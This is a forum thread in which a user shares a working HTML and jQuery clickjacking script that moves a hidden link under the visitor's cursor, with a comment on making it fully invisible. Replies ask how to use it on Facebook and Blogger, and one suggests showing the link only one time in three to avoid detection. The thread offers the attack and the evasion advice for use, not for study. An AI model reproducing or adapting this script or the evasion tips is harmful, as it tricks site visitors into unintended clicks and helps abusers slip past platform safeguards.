Click Jacking script

Status
Not open for further replies.

TheVegan

Junior Member
Joined
Mar 6, 2013
Messages
179
Reaction score
33
Heres a click jacking script for yall
still needs some edits but you get the point ;)

HTML:
<html> 
<head> 
                <title>Basic ClickJacking Script</title>
               <script src="jquery-1.4.2.min.js" 

type="text/javascript"></script>
    <style> 
                html, body { margin: 0; padding: 0; width: 

100%; height: 100%; overflow: hidden; }
        div.wrax { width: 100%; height: 100%; overflow: 

auto; }
        img.bg { min-height: 100%; min-width: 1024px; width: 

100%; height: 100%; position: fixed; top: 0; left: 0; z-

index: 0; }
        @media screen and (max-width: 1024px) { img.bg { 

left: 50%; margin-left: -512px; } }
        #mis { text-align: center; position: absolute; 

width: 100%; height: 100%; top: 0; left: 0; color: #fff; 

font-family: 'palatino linotype', palatino; font-weight: 

normal; text-align: left; text-shadow: 0 1px 0 #000; z-

index: 10; }
        #mis .description { position: relative; width: 

580px; left: 50%; margin-left: -290px; }
        #mis .description h1 { font-size: 32px; }
        #mis .description .warning { color: #f00; }
        #mis .description .link, #mis .description a { 

font-size: 22px; color: #fff; text-decoration: underline; }
        #mis .description .footer, #mis .description .footer 

a { font-size: 10px; }
    </style> 
</head> 
<body><span id="link" class="link">
 
<!-- Assume Website CONTENT is HERE --> 
 
    <div id="mis"> 
                   <div align="center">
 
            <img src="imagehere.jpg" width="800" 

height="457"/>
           </div> 
    </div> 
    <div id="wrax" style="position: absolute; opacity: 0.5; 

filter: alpha(opacity = 50); margin-left: -50px; z-index: 

100;"> 

<!-- CHANGE THE ABOVE TO "opacity: 0.0" to make it invisible 

--> 
 
 
 
<a href="http://www.something.com" target="_blank" 

title="Something"><img src="Something.gif" alt="Something 

here" ></a>
 
 
    </div> 
    <script type="text/javascript"> 
        jQuery( document ).ready( function() {
            $( "#link" ).mousemove( function( e ) {
                $( '#wrax' ).css( {
                    top: e.pageY - 17,
                    left: e.pageX - 8
                } );
            } );
        } )
    </script> 
 
</span></body> 
</html>
 
Thanks, i will give it a try.

If i get catched by facebook, will my account or my fanpage get blocked? Im using the account from my main IP-Address :/
 
yes, i think we need a guide, tutorial on how to add this script to our blog.. thanks in advance.
 
It's decent code to get the idea of what you need to do. You will need to fiddle with numbers depending on the size of link you want users to click on. For those wondering about using a script like this with facebook: incorporate some sort of detection mitigation like showing the link 1 in 3 times and you'll have less trouble.

I feel like this could be cleaned up a bit though. I would do it but I'm on my phone.
 
This has some Java, no? Can I use this on Blogger with the Java/Html module?
 
Be warned, I once used a script similar to this and it got the site flagged as malicious. Some antivirus software was even blocking users from visiting the site.
 
Status
Not open for further replies.
Back
Top